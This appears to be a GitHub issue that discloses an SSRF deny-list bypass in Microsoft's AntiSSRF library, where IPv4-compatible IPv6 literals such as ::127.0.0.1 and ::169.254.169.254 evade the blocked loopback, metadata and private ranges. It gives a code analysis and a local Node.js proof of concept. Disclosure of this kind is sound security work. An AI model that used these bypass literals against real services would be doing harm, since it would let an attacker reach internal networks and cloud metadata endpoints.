Skip to content

Possible bypass via IPv4-compatible IPv6 #23

Description

@aleister1102

Hi,

Since MSRC marked this as out of scope, I think the following issue fits here.

Summary

Microsoft AntiSSRF blocks IPv4 CIDR ranges by storing them as IPv4-mapped IPv6 addresses, but it does not treat IPv4-compatible IPv6 literals the same way. An attacker who can choose the request URL can use forms like ::127.0.0.1 or ::169.254.169.254 to bypass the ExternalOnlyV1 and ExternalOnlyLatest deny-list checks.

Details

RFC 4291 §2.5.5 defines both IPv4-mapped and IPv4-compatible embedded IPv4 forms. AntiSSRF normalizes denied IPv4 CIDRs to mapped IPv6, but request-time parsing preserves compatible literals. In nodejs/src/Helpers/CIDRBlock.ts, _parseIPv4() creates ::FFFF: entries while _parseIPv6() preserves compatible addresses such as ::169.254.169.254. That means BlockList.check('::169.254.169.254', 'ipv6') does not match the deny-list entry for ::ffff:169.254.0.0/112.

In dotnet/src/Helpers/CIDRBlock.cs, CIDRBlock.Parse() maps denied IPv4 CIDRs with MapToIPv6(), but Contains() compares against ip.MapToIPv6() on already-IPv6 input. Compatible literals stay in the ::x.x.x.x form and miss the mapped deny-list bytes. Microsoft documents automatic tunneling for the ::/96 prefix as enabled by default on Windows, so the bypass remains exploitable on supported Windows deployments.

Illustration:

const { BlockList, SocketAddress } = require('net');
const bl = new BlockList();
bl.addSubnet('::FFFF:169.254.0.0', 112, 'ipv6');

const sa = new SocketAddress({ address: '::a9fe:a9fe', family: 'ipv6' });
console.log(bl.check(sa.address, 'ipv6')); // false
console.log(bl.check('::ffff:169.254.169.254', 'ipv6')); // true

Proof of Concept (PoC)

Prerequisites

Node.js v18+ and the AntiSSRF Node package built from the repository.

Setup

  • Clone the repository: git clone https://github.com/microsoft/AntiSSRF
  • Install and build the Node package: cd AntiSSRF/nodejs && npm install && npm run build

Reproduction

Run this script from the nodejs directory.

The script enables plain HTTP on the policy so the reproduction exercises the IP allow/deny check instead of the default protocol guard.

 node - <<'NODE'
 const http = require('http');
 const { AntiSSRFPolicy, PolicyConfigOptions } = require('.');

 const port = 34567;
 const server = http.createServer((req, res) => {
   res.end('ok');
 });

 server.listen(port, '127.0.0.1', async () => {
   const policy = new AntiSSRFPolicy(PolicyConfigOptions.ExternalOnlyLatest);
   policy.allowPlainTextHttp = true;
   const agent = policy.getHttpAgent({ keepAlive: false });

   const request = (host) => new Promise((resolve) => {
     const req = http.get({ host, port, path: '/', agent }, (res) => {
       res.resume();
       resolve(`response:${host}:${res.statusCode}`);
     });
     req.on('error', (err) => {
       resolve(`error:${host}:${err.code || err.message}`);
     });
   });

   console.log(await request('::ffff:127.0.0.1'));
   console.log(await request('::127.0.0.1'));
   server.close();
 });
 NODE

The mapped literal is rejected by AntiSSRF, while the compatible literal is allowed by AntiSSRF and then fails at the OS/network layer on the host.

Impact

An attacker who controls the request URL can bypass the ExternalOnly deny-list for loopback, IMDS, wireserver, and RFC1918 IPv4 targets by encoding them as IPv4-compatible IPv6 literals. The attacker gains access to internal network destinations that the library is meant to block.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions